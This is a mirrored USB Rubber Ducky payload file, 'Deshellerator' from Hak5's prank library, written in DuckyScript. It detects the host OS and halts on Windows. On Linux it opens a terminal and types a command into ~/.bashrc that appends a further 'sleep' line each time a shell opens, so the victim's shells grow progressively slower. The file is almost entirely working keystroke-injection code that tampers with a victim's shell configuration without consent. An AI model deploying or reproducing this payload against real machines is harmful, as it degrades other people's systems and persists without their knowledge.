Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/prank/Deshellerator/payload.txt
2968 views
1
REM TITLE: Deshellerator
2
REM AUTHOR: Korben, Darren
3
REM VERSION: 1.0
4
5
REM DESCRIPTION: "Slow down there buckaroo" - Shell Decelerator
6
REM Every time a shell is opened (that sources ~/.bashrc), opening the next
7
REM shell will get ever so slightly slower...
8
9
REM TARGETS: Linux - tested on ubuntu
10
REM REQUIREMENTS: DuckyScript 3, PayloadStudio >1.3
11
12
DEFINE #TARGET_FILE ~/.bashrc
13
DEFINE #DECELERATION_RATE 0.5
14
15
REM Delay used for waiting for GUI elements to spawn/react
16
REM Increase to make more compatible with all systems
17
DEFINE #UI_DELAY 250
18
19
LED_OFF
20
EXTENSION PASSIVE_WINDOWS_DETECT
21
REM VERSION 1.0
22
23
REM Windows fully passive OS Detection and passive Detect Ready
24
REM Includes its own passive detect ready. Does not require
25
REM additional extensions
26
27
REM USAGE:
28
REM Extension runs inline (here)
29
REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic
30
REM boot delay
31
REM $_OS will be set to WINDOWS or NOT_WINDOWS
32
33
REM CONFIGURATION:
34
DEFINE MAX_WAIT 150
35
DEFINE CHECK_INTERVAL 20
36
DEFINE WINDOWS_HOST_REQUEST_COUNT 2
37
DEFINE NOT_WINDOWS 7
38
39
VAR $MAX_TRIES = MAX_WAIT
40
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
41
DELAY CHECK_INTERVAL
42
$MAX_TRIES = ($MAX_TRIES - 1)
43
END_WHILE
44
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN
45
$_OS = WINDOWS
46
ELSE
47
$_OS = NOT_WINDOWS
48
END_IF
49
50
REM EXAMPLE USAGE AFTER EXTENSION
51
REM IF ($_OS == WINDOWS) THEN
52
REM STRING HELLO WINDOWS!
53
REM ELSE
54
REM STRING HELLO WORLD!
55
REM END_IF
56
END_EXTENSION
57
58
REM Inapplicable target guard clause
59
IF ($_OS == WINDOWS) THEN
60
ATTACKMODE OFF
61
LED_R
62
STOP_PAYLOAD
63
END_IF
64
65
CTRL ALT t
66
DELAY #UI_DELAY
67
STRINGLN echo "echo 'sleep #DECELERATION_RATE'>>#TARGET_FILE">>#TARGET_FILE;exit
68
LED_G
69
70